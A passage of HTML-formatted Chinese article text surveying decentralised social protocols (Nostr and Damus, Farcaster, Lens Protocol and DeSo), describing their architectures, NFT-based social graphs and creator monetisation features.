84);font-size: 14px;">并没有太多地突破用户的想象，当前也仍然是一个亟待优化的初级版本，很多功能仍然不完善，比如内容编辑页面不可进行排版、点赞后不能取消、发布内容无法删除等，但其进入门槛低，且拥有移动端，用户可以轻松下载使用。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Damus </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">主打的用户所有、加密对话、闪电网支付等概念启发了用户以及加密社区的讨论。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">总体来说，</span>Nostr <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">是一个非常简单且具有高度互操作性的协议，其呈现了去中心化社交协议与自由的价值传递交织后涌现的可能性。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">客户端和中继端的组合，使得信息的发布和传递更加具有抗审查性，这与比特币倡导的精神内核相吻合。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">另外，</span>Nostr <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">和闪电网络更加紧密的结合为社交应用与比特币进行原生整合提供了可能。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">或许现阶段我们需要的并不是一个基于 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Nostr </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web2 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">应用的复刻版本，而是一个精细设计的基础设施，解决乐高积木的问题，然后再让隐秘的超级开发者们搭建出超越想象而又极具比特币内核的产品。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">Nostr <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">算是为去中心化社交新打开了一扇窗，自此之后，相信大规模的协议以及应用会迎来新的突破。去中心化社交，一切才刚刚开始。</span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: center;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong style="font-family: Arial;font-size: 16px;"><span style="font-size: 15px;color: rgb(0, 122, 170);">Farcaster</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Farcaster Protocol </span>是 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">SocialFi </span>赛道的龙头产品，目标是为 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3 </span>生态提供可信的中立协议，让用户与受众有直接联系，也让开发者自由地创建全新的客户端。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Farcaster </span>采用“链上 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">+ </span>链下的混合架构”来完成去中心化协议搭建。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">因为在链上存储信息本身是昂贵的，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Farcaster </span>的取舍是，将一个人的身份信息以及读写数据的能力存于链上，其它数据信息（比如发送的私信等）则会被存储在链下服务器 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Farcaster Hubs </span>中，以此确保用户可以完全掌握自己的身份、社交关系以及数据信息。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Farcaster </span>身份被存储在以太坊上，并利用以太坊来保证安全性、可组合性与一致性。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Farcaster </span>安全性极高且<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">**</span>完全去中心化<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">**</span>，在社交网络中容易被识别，建立快速又低成本，成为去中心化社交协议的新星。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: center;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong style="font-family: Arial;font-size: 16px;"><span style="font-size: 15px;color: rgb(0, 122, 170);">Lens Protocol</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">由 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeFi </span>借贷项目 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Aave </span>创始人 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Stani Kulechov </span>在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Polygon </span>上构建的一个去中心化社交媒体协议。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens Protocol </span>的核心在于充分利用了 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT </span>的潜力，以 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT </span>为基础构建社交图谱。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">比如，当你创建 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens </span>个人资料时，你的以太坊钱包中生成铸造一个 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT</span>；当你在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lenster </span>上关注某人时，你在链上铸造了一个“粉丝”<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT(Follow NFT)</span>且每个 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT </span>都有独一无二的编号，记录了建立 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">/ </span>关注的顺序。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">因此，在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens Protocol </span>下，社交关系不仅仅是作为一种数据，更是一种可转移交易的资产。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">从生态发展的角度来看，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens Protocol </span>应该是目前最火热的社交协议，这一定程度来源于其组件模块化的设计。</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5019731649565904" data-s="300,640" style="" data-type="png" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=8be26eee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7CTfgLgW8nHY0L4sI2yV3rlbhZEzMgEcdW0OVknUEWlBZbcjuicgVuBg%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens Protocol </span>对开发者异常友好，允许开发者使用模块化组件在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens </span>上任意搭建自己的社交应用，包括大量 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web3 </span>和 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web2 </span>工具，或链上和链下数据，所有这些都由 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">LensAPI </span>绑定在一起。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">比如数据托管，应用程序可以选择 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">IPFS </span>和 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Arweave </span>等去中心化存储方式，也可以选择 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">AWS </span>等传统方式；可以选择 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">XMTP </span>或 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Dialect </span>进行直接消息传递，选择 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Push </span>或 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Notify </span>发送通知。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">目前处于封闭发布阶段的 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens </span>基于智能合约设计，并构建在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Polygon </span>之上。每个 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens profile </span>都发一个 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">ProfileNFT</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">profile </span>的所有 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">follower </span>都发一个 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">FollowerNFT </span>来代表连接。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">除了基本个人账户和后续内容之外，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens </span>的其他核心概念是：<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">Publications</span></strong></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">——个人资料发表的帖子存储在用户的 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">ProfileNFT </span><span style="color: rgb(84, 84, 84);font-size: 14px;">中，</span><span style="color: rgb(84, 84, 84);font-size: 14px;">URI </span><span style="color: rgb(84, 84, 84);font-size: 14px;">指向存储在 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">IPFS </span><span style="color: rgb(84, 84, 84);font-size: 14px;">等链下解决方案中的元数据。为了节省燃料，出版物只有在被“</span><span style="color: rgb(84, 84, 84);font-size: 14px;">collected</span><span style="color: rgb(84, 84, 84);font-size: 14px;">”后才会成为 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">NFT</span><span style="color: rgb(84, 84, 84);font-size: 14px;">。</span></span><span style="color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;text-decoration: underline;"><strong><span style="text-decoration: underline;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Collecting</span></strong></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">——用户可以“收集”另一个用户的帖子，该帖子将在他们的钱包中作为 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">NFT </span><span style="color: rgb(84, 84, 84);font-size: 14px;">铸造。收藏是创作者直接通过其内容获利的一种方式，也是用户与其他个人资料建立更牢固关系的一种方式。它还为寻找和转发有价值内容的人引入了一条新的货币化途径。</span></span><span style="color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">Mirrors</span></strong></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;letter-spacing: 1px;">——</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Mirrors </span><span style="color: rgb(84, 84, 84);font-size: 14px;">是再共享的出版物。由于它们不是真正的出版物，因此无法直接收集。但是，如果原始内容被其他用户收集，则转发有价值内容的人可以获得部分收益。此外，</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Mirrors </span><span style="color: rgb(84, 84, 84);font-size: 14px;">创造了一种新的广告技术形式，用户可以在其中激励他人，从而提升他们的内容。</span></span><span style="color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">Modules</span></strong></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">——模块是在被新关注或收藏等事件触发后执行的智能合约。开发人员可以在模块内自定义 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">Lens </span><span style="color: rgb(84, 84, 84);font-size: 14px;">的功能，并使用它们来构建新功能，包括货币化。例如，关注模块可能需要付费或订阅才能关注个人资料。模块推动了规模和功能潜力，因为开发人员有一个框架可以将几乎所有功能添加到 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">Lens</span><span style="color: rgb(84, 84, 84);font-size: 14px;">，同时社交图保持标准化并因此可组合。</span></span><span style="color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">内置治理</span></strong></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">——</span><span style="color: rgb(84, 84, 84);font-size: 14px;">FollowNFTs </span><span style="color: rgb(84, 84, 84);font-size: 14px;">是有效的徽章，表明用户是一个群体的一部分。了解潜力后，</span><span style="color: rgb(84, 84, 84);font-size: 14px;">Lens </span><span style="color: rgb(84, 84, 84);font-size: 14px;">在 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">FollowNFT </span><span style="color: rgb(84, 84, 84);font-size: 14px;">中构建了额外的逻辑，用于投票委托等事情。用户可以一起形成一个社交 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">DAO</span><span style="color: rgb(84, 84, 84);font-size: 14px;">，它可以拥有自己的资料并由其 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">FollowNFT </span><span style="color: rgb(84, 84, 84);font-size: 14px;">持有者管理。此外，</span><span style="color: rgb(84, 84, 84);font-size: 14px;">DAO </span><span style="color: rgb(84, 84, 84);font-size: 14px;">所有者可以将特殊的投票和治理规则直接编程到 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">FollowNFT </span><span style="color: rgb(84, 84, 84);font-size: 14px;">中。</span></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: center;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong style="font-family: Arial;font-size: 16px;"><span style="font-size: 15px;color: rgb(0, 122, 170);">DeSo </span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSo</span>是一个新型的社交网络，从头构建了用户可以利用其影响力和内容变现机制的自定义的区块链。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">其架构和比特币类似，但却有着更大的规模和吞吐量， 可以更好地支持社交媒体复杂的数据，如发帖，用户资料，粉丝，投机预测等功能。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">并且和比特币一样，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSo</span>是一个完全开源的项目，其背后没有公司，只有代币和代码。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">2021 </span>年 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">3 </span>月以 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">BitClout </span>的名义推出备受争议的产品后，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSo </span>继续推进其专为社交应用程序设计的独特的第 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">1 </span>层链。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">该链目前是基于比特币算法的混合工作量证明链，因此不具备智能合约等功能。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">然而，在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">2023 </span>年上半年，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSo </span>将进行一次硬分叉，将网络迁移到权益证明设计。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">为了为社交应用定制链，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSo </span>放弃了通用链，而是定义了特定于社交应用的核心交易模式。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">标准的社交活动，如帖子和个人资料更新以及 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT </span>交易类型是在网络级别定义的。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">此外，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSo </span>定义了支持标准代币交换的金融交易，以及 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSo </span>的创作者代币和名为 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Diamonds </span>的社交小费功能。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">钻石充当内容创作者的小费机制。用户每收到一个钻石小费，他们赚取的 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSo </span>代币就越多。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">创作者币会自动分配给账户，并可购买以换取 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DESO </span>代币。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">假设，随着某个账户变得流行，人们将希望持有（购买）这个创作者的硬币，从而导致现有持有者的价格上涨。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSo </span>的所有内容都存储在链上，原始图像和视频除外，存储在像谷歌云这样的中心化提供商或像 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">IPFS </span>这样的去中心化提供商中。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">通过这种设计，链条的状态不断增长，从而限制了其长期的去中心化潜力。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">虽然 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSo </span>拥有一系列应用程序，从博客应用程序延伸到筹款应用程序，但超过 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">75% </span>的网络帖子来自三个社交应用程序：<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">Desofy</span></strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;letter-spacing: 1px;">——</span><span style="color: rgb(84, 84, 84);font-size: 14px;">一款移动社交媒体应用程序，也是帖子数量最多的 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">DeSo </span><span style="color: rgb(84, 84, 84);font-size: 14px;">应用程序。该应用程序由 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">DeSo </span><span style="color: rgb(84, 84, 84);font-size: 14px;">基金会支持，允许用户通过钻石小费和销售 </span><span style="color: rgb(84, 84, 84);font-size: 14px;">NFT </span><span style="color: rgb(84, 84, 84);font-size: 14px;">赚钱。</span></span><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="text-decoration: underline;"><strong><span style="letter-spacing: 1px;text-decoration: underline;color: rgb(84, 84, 84);font-size: 14px;">Diamond</span></strong></span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;letter-spacing: 1px;">——</span><span style="color: rgb(84, 84, 84);font-size: 14px;">DeSo </span><span style="color: rgb(84, 84, 